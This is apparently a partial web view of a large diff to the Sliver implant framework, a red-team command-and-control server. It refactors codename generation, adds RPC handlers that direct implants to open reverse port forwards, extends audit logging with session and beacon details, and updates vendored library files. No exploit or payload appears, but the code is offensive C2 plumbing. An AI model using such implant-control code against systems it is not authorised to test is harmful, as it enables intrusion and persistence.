default:
|
||||
return MSFStage, errors.New("protocol not supported")
|
||||
@@ -197,7 +196,7 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
|
||||
return MSFStage, err
|
||||
}
|
||||
MSFStage.File.Data = stage
|
||||
name, err := generate.GetCodename()
|
||||
name, err := codenames.GetCodename()
|
||||
if err != nil {
|
||||
return MSFStage, err
|
||||
}
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
|
||||
@@ -85,7 +86,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
|
||||
if err != nil {
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// GetRportFwdListeners - Get a list of all reverse port forwards listeners from an implant
|
||||
func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.RportFwdListenersReq) (*sliverpb.RportFwdListeners, error) {
|
||||
resp := &sliverpb.RportFwdListeners{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// StartRportfwdListener - Instruct the implant to start a reverse port forward
|
||||
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// StopRportfwdListener - Instruct the implant to stop a reverse port forward
|
||||
func (rpc *Server) StopRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
@@ -66,7 +67,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
if err != nil {
|
||||
name, config := generate.ImplantConfigFromProtobuf(req.Config)
|
||||
if name == "" {
|
||||
name, err = generate.GetCodename()
|
||||
name, err = codenames.GetCodename()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package sgn
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
|
||||
@@ -23,10 +23,11 @@ import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware"
|
||||
@@ -41,6 +42,8 @@ import (
|
||||
|
||||
var (
|
||||
serverConfig = configs.GetServerConfig()
|
||||
|
||||
middlewareLog = log.NamedLogger("transport", "middleware")
|
||||
)
|
||||
|
||||
// initMiddleware - Initialize middleware logger
|
||||
@@ -126,9 +129,6 @@ func tokenAuthFunc(ctx context.Context) (context.Context, error) {
|
||||
mtlsLog.Debugf("Valid user token for %s", operator.Name)
|
||||
tokenCache.Store(token, operator.Name)
|
||||
|
||||
// grpc_ctxtags.Extract(ctx).Set("auth.sub", userClaimFromToken(tokenInfo))
|
||||
// WARNING: in production define your own type to avoid context collisions
|
||||
|
||||
newCtx = context.WithValue(newCtx, "operator", operator.Name)
|
||||
return newCtx, nil
|
||||
}
|
||||
@@ -186,26 +186,84 @@ func codeToLevel(code codes.Code) logrus.Level {
|
||||
type auditUnaryLogMsg struct {
|
||||
Request string `json:"request"`
|
||||
Method string `json:"method"`
|
||||
Session string `json:"session,omitempty"`
|
||||
Beacon string `json:"beacon,omitempty"`
|
||||
}
|
||||
|
||||
func auditLogUnaryServerInterceptor() grpc.UnaryServerInterceptor {
|
||||
return func(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (_ interface{}, err error) {
|
||||
var request string
|
||||
rawRequest, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
log.AuditLogger.Errorf("Failed to serialize %s", err)
|
||||
request = fmt.Sprintf("%v", req)
|
||||
} else {
|
||||
request = string(rawRequest)
|
||||
middlewareLog.Errorf("Failed to serialize %s", err)
|
||||
return
|
||||
}
|
||||
middlewareLog.Debugf("Raw request: %s", string(rawRequest))
|
||||
session, beacon, err := getActiveTarget(rawRequest)
|
||||
if err != nil {
|
||||
middlewareLog.Errorf("Middleware failed to insert details: %s", err)
|
||||
}
|
||||
|
||||
msg, _ := json.Marshal(&auditUnaryLogMsg{
|
||||
Request: request,
|
||||
// Construct Log Message
|
||||
msg := &auditUnaryLogMsg{
|
||||
Request: string(rawRequest),
|
||||
Method: info.FullMethod,
|
||||
})
|
||||
log.AuditLogger.Info(string(msg))
|
||||
}
|
||||
if session != nil {
|
||||
sessionJSON, _ := json.Marshal(session)
|
||||
msg.Session = string(sessionJSON)
|
||||
}
|
||||
if beacon != nil {
|
||||
beaconJSON, _ := json.Marshal(beacon)
|
||||
msg.Beacon = string(beaconJSON)
|
||||
}
|
||||
|
||||
msgData, _ := json.Marshal(msg)
|
||||
log.AuditLogger.Info(string(msgData))
|
||||
|
||||
resp, err := handler(ctx, req)
|
||||
return resp, err
|
||||
}
|
||||
}
|
||||
|
||||
func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) {
|
||||
|
||||
var activeBeacon *clientpb.Beacon
|
||||
var activeSession *clientpb.Session
|
||||
|
||||
var request map[string]interface{}
|
||||
err := json.Unmarshal(rawRequest, &request)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
// RPC is not a session/beacon request
|
||||
if _, ok := request["Request"]; !ok {
|
||||
return nil, nil, nil
|
||||
}
|
||||
|
||||
rpcRequest := request["Request"].(map[string]interface{})
|
||||
|
||||
middlewareLog.Debugf("RPC Request: %v", rpcRequest)
|
||||
|
||||
if rawBeaconID, ok := rpcRequest["BeaconID"]; ok {
|
||||
beaconID := rawBeaconID.(string)
|
||||
middlewareLog.Debugf("Found Beacon ID: %s", beaconID)
|
||||
beacon, err := db.BeaconByID(beaconID)
|
||||
if err != nil {
|
||||
middlewareLog.Errorf("Failed to get beacon %s: %s", beaconID, err)
|
||||
} else if beacon != nil {
|
||||
activeBeacon = beacon.ToProtobuf()
|
||||
}
|
||||
}
|
||||
|
||||
if rawSessionID, ok := rpcRequest["SessionID"]; ok {
|
||||
sessionID := rawSessionID.(string)
|
||||
middlewareLog.Debugf("Found Session ID: %s", sessionID)
|
||||
session := core.Sessions.Get(sessionID)
|
||||
if session != nil {
|
||||
activeSession = session.ToProtobuf()
|
||||
}
|
||||
}
|
||||
|
||||
return activeSession, activeBeacon, nil
|
||||
}
|
||||
@@ -116,6 +116,10 @@ func getOperatorServerTLSConfig(host string) *tls.Config {
|
||||
PreferServerCipherSuites: true,
|
||||
MinVersion: tls.VersionTLS13,
|
||||
}
|
||||
if certs.TLSKeyLogger != nil {
|
||||
tlsConfig.KeyLogWriter = certs.TLSKeyLogger
|
||||
}
|
||||
|
||||
tlsConfig.BuildNameToCertificate()
|
||||
return tlsConfig
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package website
|
||||
import (
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -72,9 +73,14 @@ func GetContent(websiteName string, path string) (string, []byte, error) {
|
||||
|
||||
dbSession := db.Session()
|
||||
content := models.WebContent{}
|
||||
// Use path without any query parameters
|
||||
u, err := url.Parse(path)
|
||||
if err != nil {
|
||||
return "", []byte{}, err
|
||||
}
|
||||
result := dbSession.Where(&models.WebContent{
|
||||
WebsiteID: website.ID,
|
||||
Path: path,
|
||||
Path: u.Path,
|
||||
}).First(&content)
|
||||
if result.Error != nil {
|
||||
return "", []byte{}, result.Error
|
||||
|
||||
-22
@@ -1,22 +0,0 @@
|
||||
language: go
|
||||
|
||||
go:
|
||||
- 1.12
|
||||
|
||||
os:
|
||||
- linux
|
||||
- linux-ppc64le
|
||||
- osx
|
||||
- windows
|
||||
|
||||
go_import_path: github.com/AlecAivazis/survey/v2
|
||||
|
||||
before_install:
|
||||
- go get github.com/alecaivazis/run
|
||||
|
||||
install:
|
||||
- run install-deps
|
||||
|
||||
script:
|
||||
- run tests
|
||||
# - run autoplay-tests
|
||||
+9
-31
@@ -4,48 +4,26 @@
|
||||
|
||||
The following is a set of guidelines to follow when contributing to this package. These are not hard rules, please use common sense and feel free to propose changes to this document in a pull request.
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [Code of Conduct](#code-of-conduct)
|
||||
1. [Getting Help](#getting-help)
|
||||
1. [Filing a Bug Report](#how-to-file-a-bug-report)
|
||||
1. [Suggesting an API change](#suggesting-an-api-change)
|
||||
1. [Submitting a Contribution](#submitting-a-contribution)
|
||||
1. [Writing and Running Tests](#writing-and-running-tests)
|
||||
|
||||
## Code of Conduct
|
||||
|
||||
This project and its contibutors are expected to uphold the [Go Community Code of Conduct](https://golang.org/conduct). By participating, you are expected to follow these guidelines.
|
||||
|
||||
## Getting help
|
||||
|
||||
Feel free to [open up an issue](https://github.com/AlecAivazis/survey/v2/issues/new) on GitHub when asking a question so others will be able to find it. Please remember to tag the issue with the `Question` label so the maintainers can get to your question as soon as possible. If the question is urgent, feel free to reach out to `@AlecAivazis` directly in the gophers slack channel.
|
||||
|
||||
## How to file a bug report
|
||||
|
||||
Bugs are tracked using the Github Issue tracker. When filing a bug, please remember to label the issue as a `Bug` and answer/provide the following:
|
||||
|
||||
1. What operating system and terminal are you using?
|
||||
1. An example that showcases the bug.
|
||||
1. What did you expect to see?
|
||||
1. What did you see instead?
|
||||
|
||||
## Suggesting an API change
|
||||
|
||||
If you have an idea, I'm more than happy to discuss it. Please open an issue and we can work through it. In order to maintain some sense of stability, additions to the top-level API are taken just as seriously as changes that break it. Adding stuff is much easier than removing it.
|
||||
* [Open an issue](https://github.com/AlecAivazis/survey/issues/new/choose)
|
||||
* Reach out to `@AlecAivazis` or `@mislav` in the Gophers slack (please use only when urgent)
|
||||
|
||||
## Submitting a contribution
|
||||
|
||||
In order to maintain stability, most features get fully integrated in more than one PR. This allows for more opportunity to think through each API change without amassing large amounts of tech debt and API changes at once. If your feature can be broken into separate chunks, it will be able to be reviewed much quicker. For example, if the PR that implemented the `Validate` field was submitted in a PR separately from one that included `survey.Required`, it would be able to get merge without having to decide how many different `Validators` we want to provide as part of `survey`'s API.
|
||||
|
||||
When submitting a contribution,
|
||||
|
||||
- Provide a description of the feature or change
|
||||
- Reference the ticket addressed by the PR if there is one
|
||||
- Following community standards, add comments for all exported members so that all necessary information is available on godocs
|
||||
- Remember to update the project README.md with changes to the high-level API
|
||||
- Include both positive and negative unit tests (when applicable)
|
||||
- Contributions with visual ramifications or interaction changes should be accompanied with the appropriate `go-expect` tests. For more information on writing these tests, see [Writing and Running Tests](#writing-and-running-tests)
|
||||
- Try to make a series of smaller changes instead of one large change
|
||||
- Provide a description of each change that you are proposing
|
||||
- Reference the issue addressed by your pull request (if there is one)
|
||||
- Document all new exported Go APIs
|
||||
- Update the project's README when applicable
|
||||
- Include unit tests if possible
|
||||
- Contributions with visual ramifications or interaction changes should be accompanied with an integration test—see below for details.
|
||||
|
||||
## Writing and running tests
|
||||
|
||||
|
||||
-78
@@ -1,78 +0,0 @@
|
||||
# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'.
|
||||
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/Netflix/go-expect"
|
||||
packages = ["."]
|
||||
revision = "c93bf25de8e869da25cf26bcd2932b36141f61ae"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/davecgh/go-spew"
|
||||
packages = ["spew"]
|
||||
revision = "346938d642f2ec3594ed81d874461961cd0faa76"
|
||||
version = "v1.1.0"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/hinshun/vt10x"
|
||||
packages = ["."]
|
||||
revision = "1954e646417484a2a687ea344edade2c2b6523c8"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/kballard/go-shellquote"
|
||||
packages = ["."]
|
||||
revision = "95032a82bc518f77982ea72343cc1ade730072f0"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/kr/pty"
|
||||
packages = ["."]
|
||||
revision = "282ce0e5322c82529687d609ee670fac7c7d917c"
|
||||
version = "v1.1.1"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/mattn/go-colorable"
|
||||
packages = ["."]
|
||||
revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072"
|
||||
version = "v0.0.9"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/mattn/go-isatty"
|
||||
packages = ["."]
|
||||
revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39"
|
||||
version = "v0.0.3"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "github.com/mgutz/ansi"
|
||||
packages = ["."]
|
||||
revision = "9520e82c474b0a04dd04f8a40959027271bab992"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/pmezard/go-difflib"
|
||||
packages = ["difflib"]
|
||||
revision = "792786c7400a136282c1664665ae0a8db921c6c2"
|
||||
version = "v1.0.0"
|
||||
|
||||
[[projects]]
|
||||
name = "github.com/stretchr/testify"
|
||||
packages = [
|
||||
"assert",
|
||||
"require"
|
||||
]
|
||||
revision = "12b6f73e6084dad08a7c6e575284b177ecafbc71"
|
||||
version = "v1.2.1"
|
||||
|
||||
[[projects]]
|
||||
branch = "master"
|
||||
name = "golang.org/x/sys"
|
||||
packages = ["unix"]
|
||||
revision = "9527bec2660bd847c050fda93a0f0c6dee0800bb"
|
||||
|
||||
[solve-meta]
|
||||
analyzer-name = "dep"
|
||||
analyzer-version = 1
|
||||
inputs-digest = "371508ebad4798adc38a118f858b5c17a65b58594203548f9feb74cb781dd907"
|
||||
solver-name = "gps-cdcl"
|
||||
solver-version = 1
|
||||
Loaded 100 of 497 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user